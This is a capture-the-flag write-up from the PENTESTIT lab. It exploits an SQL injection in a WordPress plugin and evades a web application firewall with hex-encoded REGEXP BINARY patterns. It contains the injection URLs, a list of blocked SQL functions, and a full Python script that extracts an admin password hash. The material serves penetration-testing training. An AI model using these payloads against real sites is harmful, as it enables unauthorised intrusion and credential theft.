In this post I want to share a trick that helps me to bypass a WAF (Web Application Firewall) when solving a challenge in a CTF-like penetration testing laboratory called PENTESTIT TEST LAB 11.
After registering on https://lab.pentestit.ru/ you will be allocated an OpenVPN account to connect to the laboratory environment. The first target you may face is a WordPress website located at http://192.168.101.10/:
Scanning this website with WPScan reveals some interesting attack vectors:
Note: the option “-random-agent” is required to simulate normal requests from a browser so that the firewall will not stop your scan.
From the scan results we saw a WordPress plugin named KittyCatfish and by searching it on Google we can find a known vulnerability exactly match the plugin version:
https://www.exploit-db.com/exploits/41919/ (WordPress Plugin KittyCatfish 2.2 – SQL Injection)
The vulnerability is a SQL injection issue on the get parameter “kc_ad”, however, when using sqlmap to exploit this vulnerability I received many unexpected “403: Forbidden” errors. Apparently, something is stopping my attack and blocked my access, most possibly a Web Application Firewall (WAF).
Let’s see if we can identify what is being used here. There is tool named WafW00f can be used to fingerprinting WAF:
The tool says the web application is behind the Juniper WebApp Secure. No matter it is accurate or not, we can at least confirm that there is an additional security product protecting this website.
Looking around the website there seems no obvious way to break into the web application other than bypass the WAF restriction. So let’s play with the WAF.
The first thing we should understand is how the SQL injection vulnerability works. By comparing the following two requests we can known the differences when the SQL query evaluated to True and when it evaluated to False:
http://192.168.101.10/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=37 or 1=1&ver=2.0 http://192.168.101.10/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=37 or 1=2&ver=2.0
And let’s try if we can manually get the password hash length:
http://192.168.101.10/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=37 or (select length(user_pass) from wp_users) > 0&ver=2.0
The query works! It means that the WAF is not simply blacklist or whitelist some dangers SQL keywords, instead, it might depends on some heuristic rules. By randomly input some SQL queries we can discover the following rules:
- “select” + “where” combination is not allowed, for example:
http://192.168.101.10/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=35 select where &ver=2.0
This will give you a “403: Forbidden” error.
2. Dangerous function name + “(” is not allowed, for example:
http://192.168.101.10/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=35 mid( &ver=2.0 http://192.168.101.10/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=35 substr( &ver=2.0
Banned functions discovered during the test:
mid substr substring strcmp unhex version
These banned functions prevent us doing byte by byte guessing against the password hash, for example, if these functions are not being blocked, we may check the first byte of the password hash through following query:
http://192.168.101.10/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=35 or (select ord(mid(user_pass, 1, 1)) from wp_users) > 0&ver=2.0
Combining the above query with binary search we may reveals the whole password hash very quickly. However, the WAF is a really pain here.
So can we compare strings without using the banned functions? The answer is Yes and my approach is to make use of the MySQL REGEXP function.
REGEXP allows us to match the query results with a regular expression, for example:
When the pattern matches, it returns 1, otherwise it returns 0.
Knowing this we may issue the following query to see if the password hash matches a string begin with “a”:
http://192.168.101.10/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=35 or (select (select user_pass from wp_users) REGEXP '^a.*')&ver=2.0
Unfortunately this query does not work and I guess the reason here is the single quote somehow broke the query or being sanitized. And so does double quote.
So is there a way to build string without single or double quotes?
The CHAR function is not being banned solely, however, the combination of “select” and “char(” is recognized by the WAF. How frustrated!
But wait! Since it is a regular expression, can we use hex strings directly as a pattern?
Let’s try this:
>>> '[a-z]+'.encode('hex') '5b612d7a5d2b'
To my surprise, it works like a magic!
So the WAF bypass becomes easy, the query below will check if the password hash matches regular expression “.*”:
>>> '.*'.encode('hex') '2e2a'
http://192.168.101.10/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=35 or (select (select user_pass from wp_users) REGEXP 0x2e2a)&ver=2.0
And we can further optimize the process based on following facts:
- WordPress password hash begins with “$” and the third character is also “$”, so we may skip this two.
- The character set of WordPress password hash is [0-9a-zA-Z./].
One more thing we need to take care is that the REGEXP function in MySQL is case insensitive, so we should use BINARY mode to make it case sensitive, for example:
http://192.168.101.10/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=35 or (select (select user_pass from wp_users) REGEXP BINARY 0x2e2a)&ver=2.0
Finally we can come up with a Python script to finish all the works for us:
import time import string import urllib2 def get_request(url): #print '[*] Request: ' + url data = None tries = 5 while tries: try: request = urllib2.Request(url) request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36') response = urllib2.urlopen(request) data = response.read() break except Exception as e: print '[!] Request Error: ' + str(e) tries -= 1 time.sleep(30) return data def run_exploit(): url = 'http://192.168.101.10/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=35 [inject]&ver=2.0' passwd = '\$' for i in range(33): for ch in string.digits + string.ascii_letters + './$': if ch in ['.', '$']: ch = '\\' + ch sql = 'or (select (select user_pass from wp_users) REGEXP BINARY 0x5e' + passwd.encode('hex') + ch.encode('hex') + '2e2a)' request_url = url.replace('[inject]', sql) data = get_request(request_url) if data is not None and data.find('left: 50%;') != -1: passwd += ch print '\r\n[*] Password: ' + passwd.replace('\\', '') + ' (Length: ' + str(len(passwd.replace('\\', ''))) + ')' break time.sleep(0.1) if __name__ == '__main__': run_exploit()
The output of the script is as below:
(Skip some output…)
The final password hash is 34 bytes long and you may noticed some HTTP errors appeared in the screenshot, this is caused either by unstable VPN connections or by too many requests to the website which triggers another firewall rule.
After obtained the WordPress password hash the next step should be crack it, but I have no luck in brute-forcing this hash even with the rockyou.txt. /(ㄒoㄒ)/~~
Anyway, the WAF is really an interesting part of this challenge, although it is painful, we finally overcome it and learnt a lot.